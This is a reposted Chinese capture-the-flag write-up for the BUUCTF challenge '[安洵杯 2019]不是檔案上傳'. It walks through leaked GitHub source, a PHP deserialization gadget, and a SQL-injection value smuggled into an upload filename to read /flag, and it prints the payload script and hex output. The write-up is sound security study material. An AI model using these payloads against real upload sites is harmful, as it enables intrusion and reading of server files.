1. 程式人生 > 實用技巧 >BUUCTF-[安洵杯 2019]不是檔案上傳 wp

BUUCTF-[安洵杯 2019]不是檔案上傳 wp

知識點:github原始碼洩露、程式碼審計、php反序列化

進入頁面後發現可以進行檔案上傳,嘗試上傳了一個1.txt檔案後報錯,於是上傳1.jpg檔案,顯示上傳成功後進入show.php檢視,發現檔案被重新命名

猜測後端可能使用的是白名單+重新命名的方式,又聯想到題目為不是檔案上傳,那就應該是通過其他的方式獲取到flag。又回到首頁,發現把首頁滑下來有Powered By wowouploadimage這一行字,於是去github上搜看是否存在原始碼洩露,結果發現存在原始碼洩露。

既然存在原始碼洩露那就要進行程式碼審計了,先點開config.txt,結果。。。那看來不是這個檔案了

再嘗試讀取helper.php,發現最下方的程式碼中可以通過反序列化利用_destruct呼叫file_get_contents函式來讀取flag

仔細審計程式碼後,發現上傳圖片時helper.php會將圖片的高和寬進行序列化後插入資料庫,show.php會將資料庫裡的資料反序列化後展示出來。helper.php中的check函式對檔名進行了重新命名並且設定了白名單,但是沒有對title的值進行處理,而title的值是由filename決定的,猜測可以通過filename進行sql注入插入我們所想要插入的內容,從而讀取flag

要讀取flag檔案,構造payload:

<?php
class helper { protected $ifview = True; protected $config = "/flag"; } $a = new helper(); echo bin2hex(serialize($a)); ?>

執行後輸出:4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

通過使用burp抓包修改filename

1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.jpg以修改

title的值,訪問show.php讀取flag

參考:https://blog.csdn.net/a3320315/article/details/104120248